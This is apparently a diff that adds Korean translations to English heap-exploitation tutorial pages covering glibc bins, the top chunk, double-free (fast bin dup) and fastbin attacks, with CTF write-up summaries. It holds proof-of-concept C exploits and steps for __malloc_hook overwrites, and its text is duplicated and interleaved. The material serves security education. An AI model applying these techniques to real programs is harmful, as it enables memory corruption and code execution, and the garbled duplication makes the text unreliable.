((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>큰 청크 예제 추가</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
2개의 큰 할당이 수행된 후, 하나가 해제되어(정렬되지 않은 빈에 넣어짐) 더 큰 할당이 이루어집니다(해제된 것이 정렬되지 않은 빈에서 큰 빈으로 이동됨).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
이를 컴파일하고 `main` 함수의 `ret` opcode에서 중단점을 설정하여 디버깅합니다. 그런 다음 `gef`를 사용하면 tcache 빈이 가득 차 있고 하나의 청크가 큰 빈에 있음을 확인할 수 있습니다:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
### 상위 청크
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
기본적으로, 이것은 현재 사용 가능한 모든 힙을 포함하는 청크입니다. malloc이 수행될 때, 사용할 수 있는 무료 청크가 없으면 이 최상위 청크의 크기가 줄어들어 필요한 공간을 제공합니다.\
최상위 청크에 대한 포인터는 `malloc_state` 구조체에 저장됩니다.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
게다가, 처음에는 정렬되지 않은 청크를 최상위 청크로 사용할 수 있습니다.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>최상위 청크 예제 관찰</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
`main``ret` opcode에서 중단점을 설정하여 컴파일하고 디버깅한 후, malloc이 주소 `0xaaaaaaac12a0`를 반환했으며, 다음은 청크들입니다:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
상단 청크가 주소 `0xaaaaaaac1ae0`에 있다는 것을 볼 수 있습니다. 이는 마지막으로 할당된 청크가 `0xaaaaaaac12a0`에 크기 `0x410`으로 있었기 때문에 놀라운 일이 아닙니다. `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`입니다.\
상단 청크의 청크 헤더에서 상단 청크의 길이를 볼 수도 있습니다:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### 마지막 나머지
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
malloc이 사용되고 청크가 나누어질 때(예: 정렬되지 않은 빈에서 또는 상단 청크에서), 나누어진 청크의 나머지 부분에서 생성된 청크를 마지막 나머지(Last Remainder)라고 하며, 그 포인터는 `malloc_state` 구조체에 저장됩니다.
## Allocation Flow
## 할당 흐름
Check out:
다음 내용을 확인하세요:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## 해제 흐름
Check out:
다음 내용을 확인하세요:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## 힙 함수 보안 검사
Check the security checks performed by heavily used functions in heap in:
힙에서 많이 사용되는 함수들이 수행하는 보안 검사를 확인하세요:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## 참고 문헌
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -4,89 +4,87 @@
## Basic Information
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
메모리 블록을 두 번 이상 해제하면 할당자의 데이터가 엉망이 되어 공격의 길을 열 수 있습니다. 이는 다음과 같이 발생합니다: 메모리 블록을 해제하면, 그것은 무료 청크 목록(예: "fast bin")으로 돌아갑니다. 동일한 블록을 연속으로 두 번 해제하면, 할당자는 이를 감지하고 오류를 발생시킵니다. 그러나 **그 사이에 다른 청크를 해제하면, 이중 해제 검사가 우회되어** 손상이 발생합니다.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
이제 새로운 메모리를 요청할 때(`malloc` 사용), 할당자는 **두 번 해제된 블록**을 제공할 수 있습니다. 이로 인해 두 개의 서로 다른 포인터가 동일한 메모리 위치를 가리키게 됩니다. 공격자가 그 포인터 중 하나를 제어하면, 그 메모리의 내용을 변경할 수 있으며, 이는 보안 문제를 일으키거나 심지어 코드를 실행할 수 있게 할 수 있습니다.
Example:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
이 예제에서, 여러 개의 해제된 청크(7)로 tcache를 채운 후, 코드는 **청크 `h`를 해제한 다음 청크 `i`를 해제하고 다시 `h`를 해제하여 이중 해제를 발생시킵니다**(Fast Bin dup이라고도 함). 이는 재할당 시 겹치는 메모리 주소를 받을 가능성을 열어주며, 두 개 이상의 포인터가 동일한 메모리 위치를 가리킬 수 있습니다. 하나의 포인터를 통해 데이터를 조작하면 다른 포인터에 영향을 미칠 수 있어, 이는 심각한 보안 위험과 악용 가능성을 초래합니다.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
실행할 때, **`i1``i2`가 동일한 주소를 가졌음을 주목하세요**:
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
<pre><code>초기 할당:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
재할당 후:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## 예제
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- 우리는 일반적인 `__malloc_hook` 덮어쓰기를 방지하는 크기 `0x70`를 제외하고는 Fast-Bin 크기의 청크만 할당할 수 있습니다.
- 대신, Fast Bin dup의 대상으로 `0x56`로 시작하는 PIE 주소를 사용합니다(1/2 확률).
- PIE 주소가 저장되는 한 곳은 Glibc 내부의 `main_arena`이며, `__malloc_hook` 근처에 있습니다.
- 우리는 `main_arena`의 특정 오프셋을 목표로 하여 그곳에 청크를 할당하고, `__malloc_hook`에 도달할 때까지 청크를 계속 할당하여 코드 실행을 얻습니다.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- Tcache 빈과 널 바이트 오버플로우를 사용하여 이중 해제 상황을 달성할 수 있습니다:
- 우리는 크기 `0x110`의 청크 세 개(`A`, `B`, `C`)를 할당합니다.
- `B`를 해제합니다.
- `A`를 해제하고 널 바이트 오버플로우를 사용하기 위해 다시 할당합니다.
- 이제 `B`의 크기 필드는 `0x100`이 되어, `0x111` 대신 다시 해제할 수 있습니다.
- 우리는 동일한 주소를 가리키는 크기 `0x110`의 Tcache-bin 하나와 크기 `0x100`의 Tcache-bin 하나를 가지고 있습니다. 따라서 이중 해제가 발생합니다.
- 우리는 [Tcache poisoning](tcache-bin-attack.md)을 사용하여 이중 해제를 활용합니다.
## References
## 참고문헌
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -4,16 +4,15 @@
## Basic Information
For more information about what is a fast bin check this page:
빠른 빈에 대한 자세한 정보는 이 페이지를 확인하세요:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
빠른 빈은 단일 연결 리스트이기 때문에 다른 빈보다 보호가 훨씬 적으며, **해제된 빠른 빈** 청크의 주소를 수정하는 것만으로도 **나중에 임의의 메모리 주소에 청크를 할당할 수 있습니다**.
요약하자면:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
아주 잘 설명된 코드에서 전체 예제를 찾을 수 있습니다: [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> 만약 **`global_max_fast`**의 값을 큰 숫자로 덮어쓸 수 있다면, 이는 더 큰 크기의 fast bin 청크를 생성할 수 있게 하여, 이전에는 불가능했던 시나리오에서 fast bin 공격을 수행할 수 있게 합니다. 이 상황은 [large bin attack](large-bin-attack.md) 및 [unsorted bin attack](unsorted-bin-attack.md) 맥락에서 유용합니다.
## Examples
## 예시
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- 청크를 할당하고, 해제하고, 내용을 읽고, 채울 수 있습니다(오버플로우 취약점으로).
- **정보 유출을 위한 청크 통합**: 이 기술은 기본적으로 오버플로우를 악용하여 가짜 `prev_size`를 생성하여 하나의 이전 청크가 더 큰 청크 안에 들어가게 하여, 다른 청크를 포함하는 더 큰 청크를 할당할 때 그 데이터를 출력하고 libc 주소(`main_arena+88`)를 유출할 수 있게 합니다.
- **malloc 훅 덮어쓰기**: 이를 위해, 이전의 겹치는 상황을 악용하여 동일한 메모리를 가리키는 2개의 청크를 가질 수 있었습니다. 따라서 두 청크를 모두 해제하고(보호를 피하기 위해 중간에 다른 청크를 해제하여) fast bin에 동일한 청크를 2번 가질 수 있었습니다. 그런 다음, 다시 할당하고, 다음 청크의 주소를 `__malloc_hook`보다 조금 앞을 가리키도록 덮어쓸 수 있었습니다(그래서 malloc이 무료 크기로 생각하는 정수를 가리킵니다 - 또 다른 우회), 다시 할당한 후 malloc 훅에 주소를 받을 다른 청크를 할당합니다.\
마지막으로 **one gadget**가 그곳에 기록되었습니다.
